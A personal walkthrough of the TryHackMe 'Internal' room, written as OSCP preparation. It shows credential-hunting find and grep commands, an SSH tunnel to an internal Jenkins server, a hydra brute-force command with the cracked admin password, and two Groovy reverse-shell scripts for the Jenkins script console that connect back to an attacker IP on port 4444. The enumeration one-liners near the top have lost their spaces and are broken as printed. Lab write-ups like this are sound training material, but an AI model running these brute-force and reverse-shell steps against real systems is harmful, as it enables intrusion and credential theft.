Now let supposed that PwnKit doesn't work at all (which it does).
And let supposed that harvesting credentials by enumerating text files is the only way to get to root. Trỵhackme - Internal the hard way is based on the fact that this victim machine might be harden, and we may not have any way to get to root other than get into the Docker container and get our credential lying inside of an obfuscated text file.
We start with enumerating the directory around us.
# A few good enumerating commands from a friend:#1. Obvious dirsls-lah/opt/var/backups/srv/tmp2>/dev/nullls-lah/opt/srv/tmp/home/etc/var2>/dev/nullfind/home-maxdepth2-typef-size-128k-printf"%M %u %p\n"2>/dev/null#2. Colon grepgrep-RIn--exclude-dir={proc,sys,dev,run}-E'^[[:alnum:]._-]{1,30}:[[:graph:]]{1,30}$'/2>/dev/null|head# 3. Tiny txt/bak/oldfind/-typef-size-128k\(-iname"*.txt"-o-iname"*.bak"-o-iname"*.old"-o-iname"*.conf"\)-readable-execls-lah{}+2>/dev/null|head-n40# 4. ZIP/TAR credsfind/-typef-size-5M-regextypeposix-extended-regex'.*\.(zip|tar|gz|bz2|7z|rar)$'-readable-print2>/dev/null|head# 5. Files containing the string 'user1' (change accordingly)grep-RIl"user1"/2>/dev/null# 6. Same as 5. but fastergrep-RIl"user1"/opt/srv/tmp/home/etc/var2>/dev/null# 7. Files named with 'user1'find/-typef-iname"*user1*"2>/dev/null# 8. Files owned by 'user1'find/-useruser12>/dev/null# 9. Find passwordgrep-R"password"/tmp/etc/opt/home2>/dev/null
For this lab command 1.1 and 2 works like a charm!
Command 1.1: Pointed out the file right on top:
Command 2: We don't even need to open the file:
Navigating to the home directory reveals the user.txt flag and a file named “jenkins.txt.” This file hints that there is an internal Jenkins server running on a 172.17.0.2:8080 address internally.
Now let's setup our ssh tunnel at 10000:
(I always forgot this command so I will explain to myself the command again, ignore these 2 lines below)
Now to bruteforce Jenkins, we have to study its response:
Notice this: http://localhost:10000/loginError this will be our input into hydra (Why hydra you ask? because I'm prepping for OSCP, normally I would CAIDO and filter out things but... well rules of the land it is. For what I know, OSCP banned CAIDO. I wish they didn't.).
Next let's study the POST request we send:
Build the hydra command:
Remember not to use 127.0.0.1:10000 and you MUST add -s 10000 or it will crashed.
OUCH.
Anyway,
There are 2 ways to get a shell:
1. Normal Shell:
Press New Item
Enter New Item Name and pick Multi-configuration project:
Scroll down at Build and pick Execute shell and enter your shell:
You'd probably wonder why I crossed these out, because at the time of writing this line I tried 20 reverse shell and failed every single one of it, Jenkins keep exit on my shell and I don't know why.
Until a friend explained:
In a Nutshell
Build Step → parent = /bin/sh /tmp/jenkinsXYZ.sh → Jenkins kills all children when /tmp/jenkinsXYZ.sh exits → reverse shell dies.
Script Console → parent = Jenkins’s Groovy/JVM → no build-wrapper to exit → your shell lives on until you close it.
That’s why every time you tried a “live bash –i >/dev/tcp/…” inside a pipeline, it connected briefly and then vanished—because Jenkins automatically reaps it once that step finishes.
I've also asked why on a Windows Server, I used this trick without being killed, they explained:
On Windows: Jenkins’s Windows agent launcher does not automatically kill every child process when your PowerShell step ends, so your PS reverse shell remains alive.
So anyway, Groovy script it is then.
Let's visit
A few Groovy scripts:
Now we could just:
This is the hard way, the true way to do this room. I hope you would enjoy my write-up as much as I writing it.
ssh -L 10000:172.17.0.2:8080 aubreanna@10.10.15.210
# ^ ^ ^ ^
#param..|l.port|internalnet|same as original ssh
┌──(kali㉿kali)-[~]
└─$ ssh -L 10000:172.17.0.2:8080 aubreanna@10.10.15.210
aubreanna@10.10.15.210's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Jun 3 08:59:47 UTC 2025
System load: 0.01 Processes: 149
Usage of /: 63.7% of 8.79GB Users logged in: 0
Memory usage: 42% IP address for eth0: 10.10.15.210
Swap usage: 0% IP address for docker0: 172.17.0.1
=> There is 1 zombie process.
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
0 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jun 3 08:55:03 2025 from [YOUR IP]
aubreanna@internal:~$
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://[127.0.0.1:10000]:80/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError
[ERROR] could not resolve address: 127.0.0.1:10000
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-03 16:27:46
┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError" -s 10000 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-03 16:32:03
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://127.0.0.1:10000/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
...
...
...
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "thomas" - 107 of 14344399 [child 9] (0/0)
[10000][http-post-form] host: 127.0.0.1 login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-03 16:32:18
http://localhost:10000/script
String host="[YOUR IP]";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
// ─── REVERSE‐SHELL SNIPPET ──────────────────────────────────────────────
// Change the IP and port below to match your Kali listener.
String host = "[YOUR IP]"
int port = 4444
// Build and execute a bash command that:
// 1) does “exec 5<>/dev/tcp/$host/$port” to open a single socket on FD 5
// 2) runs a “cat <&5 | while read line; do $line 2>&5 >&5; done” loop,
// which reads any command you type and executes it in bash, sending
// both stdout and stderr back over FD 5
def bashCommand = [
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/${host}/${port}; " +
"cat <&5 | while read line; do \$line 2>&5 >&5; done"
]
def proc = Runtime.getRuntime().exec(bashCommand as String[])
proc.waitFor()
// ────────────────────────────────────────────────────────────────────────
┌──(kali㉿kali)-[~]
└─$ ssh root@10.10.15.210
root@10.10.15.210's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Jun 3 11:21:51 UTC 2025
System load: 0.0 Processes: 167
Usage of /: 63.7% of 8.79GB Users logged in: 1
Memory usage: 49% IP address for eth0: 10.10.15.210
Swap usage: 0% IP address for docker0: 172.17.0.1
=> There is 1 zombie process.
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
0 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Aug 3 19:59:17 2020 from 10.6.2.56
root@internal:~# cat /home/aubreanna/user.txt
THM{int3XXXXXXXXXXXXX #hidden
root@internal:~# cat /root/root.txt
THM{d0XXXXXXXXXXXXXXX #hidden
root@internal:~#